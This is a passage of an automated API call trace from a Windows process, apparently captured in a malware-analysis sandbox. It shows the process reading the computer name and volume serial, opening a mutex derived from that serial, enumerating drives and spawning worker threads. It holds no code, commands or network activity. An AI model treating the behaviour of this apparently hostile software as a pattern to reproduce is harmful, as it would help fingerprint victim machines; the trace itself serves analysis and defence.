lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafde58 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe200 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe200, Size=0x72) returned 0xbb7310 [0295.586] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x308 [0295.586] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0295.587] CloseHandle (hObject=0x308) returned 1 [0295.587] GetProcessHeap () returned 0xaf0000 [0295.587] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafde58 | out: hHeap=0xaf0000) returned 1 [0295.587] GetProcessHeap () returned 0xaf0000 [0295.587] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7310 | out: hHeap=0xaf0000) returned 1 [0295.587] Sleep (dwMilliseconds=0x3e8) Thread: id = 97 os_tid = 0x5cc [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x21a) returned 0xb10650 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xb00960 [0274.618] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x258 [0274.618] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x290 [0274.618] GetComputerNameW (in: lpBuffer=0xb10660, nSize=0x2aef870 | out: lpBuffer="NQDPDE", nSize=0x2aef870) returned 1 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c058 [0274.618] CloseHandle (hObject=0x290) returned 1 [0274.618] CloseHandle (hObject=0x258) returned 1 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb00960 | out: hHeap=0xaf0000) returned 1 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10650 | out: hHeap=0xaf0000) returned 1 [0274.618] GetProcessHeap () returned 0xaf0000 [0274.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb00ef8 | out: hHeap=0xaf0000) returned 1 Thread: id = 98 os_tid = 0xc5c [0274.620] GetLogicalDrives () returned 0x4 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe0e0 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xb008a0 [0274.620] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x258 [0274.620] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x290 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c080 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c288 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c2b0 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb448 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb448 | out: hHeap=0xaf0000) returned 1 [0274.620] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2b0 | out: hHeap=0xaf0000) returned 1 [0274.620] GetProcessHeap () returned 0xaf0000 [0274.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0274.621] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2c2fc7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2c2fc7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b838 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b850 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bac0 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb448 [0274.621] GetProcessHeap () returned 0xaf0000 [0274.621] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b898 [0274.621] htonl (hostlong=0xb4197730) returned 0x307719b4 [0274.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2c2fb70 | out: lpPerformanceCount=0x2c2fb70*=16710271185) returned 1 [0274.622] GetTickCount () returned 0x1153526 [0274.622] GetCurrentProcessId () returned 0xff4 [0274.622] GetCurrentThreadId () returned 0xc5c [0274.622] GetLocalTime (in: lpSystemTime=0x2c2fb58 | out: lpSystemTime=0x2c2fb58*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x4, wDay=0xb, wHour=0xf, wMinute=0x1f, wSecond=0x17, wMilliseconds=0x93)) [0274.622] SystemTimeToFileTime (in: lpSystemTime=0x2c2fb58, lpFileTime=0x2c2fb68 | out: lpFileTime=0x2c2fb68) returned 1 [0274.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2c2fb70 | out: lpPerformanceCount=0x2c2fb70*=16710299701) returned 1 [0274.622] GetProcessHeap () returned 0xaf0000 [0274.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x28) returned 0xb007b0 [0274.622] GetProcessHeap () returned 0xaf0000 [0274.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bad8 [0274.622] GetProcessHeap () returned 0xaf0000 [0274.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffcf8 [0274.622] GetProcessHeap () returned 0xaf0000 [0274.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x14) returned 0xb010d8 [0274.622] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0baf0 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xb0be08 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b820 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xafa928 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b868 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffb78 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8b0 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xb0be90 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8c8 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x2) returned 0xaffb88 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffc18 [0274.623] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8f8 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xafa9b8 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b910 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffbd8 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaffb88, Size=0x82) returned 0xafa700 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaffbd8, Size=0x100) returned 0xafa790 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b928 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xb10650 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bb68 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xb106e0 [0274.624] GetProcessHeap () returned 0xaf0000 [0274.624] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa700, Size=0x104) returned 0xb10770 [0274.625] GetProcessHeap () returned 0xaf0000 [0274.625] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa790, Size=0x200) returned 0xb10880 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffc18 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10880 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b910 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0be90 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8b0 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa9b8 | out: hHeap=0xaf0000) returned 1 [0274.626] GetProcessHeap () returned 0xaf0000 [0274.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8f8 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10770 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8c8 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10650 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b928 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb106e0 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bb68 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffcf8 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bad8 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa928 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b820 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0be08 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0baf0 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffb78 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b868 | out: hHeap=0xaf0000) returned 1 [0274.627] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb007b0 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb010d8 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xa4) returned 0xaf93c8 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b850 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bac0 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb448 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b898 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b838 | out: hHeap=0xaf0000) returned 1 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x18) returned 0xb010b8 [0274.628] GetProcessHeap () returned 0xaf0000 [0274.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0xe) returned 0xb0bac0 [0274.628] ResetEvent (hEvent=0x290) returned 1 [0274.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3856b3, lpParameter=0xb010b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0274.629] CloseHandle (hObject=0x294) returned 1 [0274.629] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8f8 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bad8 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b910 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb448 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0baf0 [0274.630] htonl (hostlong=0xb4197730) returned 0x307719b4 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x28) returned 0xb007b0 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b820 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffb78 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x14) returned 0xb010d8 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b850 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xb0be08 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b838 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xafa928 [0274.630] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b868 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffbd8 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b898 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xb0be90 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8b0 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x2) returned 0xaffc18 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffcf8 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b8c8 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x80) returned 0xafa9b8 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b928 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4) returned 0xaffc28 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaffc18, Size=0x82) returned 0xafa700 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.631] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaffc28, Size=0x100) returned 0xafa790 [0274.631] GetProcessHeap () returned 0xaf0000 [0274.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bb68 [0274.632] GetProcessHeap () returned 0xaf0000 [0274.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xb10650 [0274.632] GetProcessHeap () returned 0xaf0000 [0274.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0bb80 [0274.632] GetProcessHeap () returned 0xaf0000 [0274.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x82) returned 0xb106e0 [0274.632] GetProcessHeap () returned 0xaf0000 [0274.632] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa700, Size=0x104) returned 0xb10770 [0274.632] GetProcessHeap () returned 0xaf0000 [0274.632] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa790, Size=0x200) returned 0xb10880 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffcf8 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10880 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b928 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0be90 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b898 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa9b8 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8c8 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10770 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8b0 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb10650 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bb68 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb106e0 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bb80 | out: hHeap=0xaf0000) returned 1 [0274.634] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffb78 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b820 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa928 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b838 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0be08 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b850 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaffbd8 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b868 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb007b0 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb010d8 | out: hHeap=0xaf0000) returned 1 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xa4) returned 0xaf9cb8 [0274.635] GetProcessHeap () returned 0xaf0000 [0274.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bad8 | out: hHeap=0xaf0000) returned 1 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b910 | out: hHeap=0xaf0000) returned 1 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb448 | out: hHeap=0xaf0000) returned 1 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0baf0 | out: hHeap=0xaf0000) returned 1 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b8f8 | out: hHeap=0xaf0000) returned 1 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x18) returned 0xb00ef8 [0274.636] GetProcessHeap () returned 0xaf0000 [0274.636] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0xe) returned 0xb0b820 [0274.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3856b3, lpParameter=0xb00ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0274.637] CloseHandle (hObject=0x294) returned 1 [0274.638] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) Thread: id = 99 os_tid = 0xc64 [0274.638] GetLogicalDrives () returned 0x4 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c120 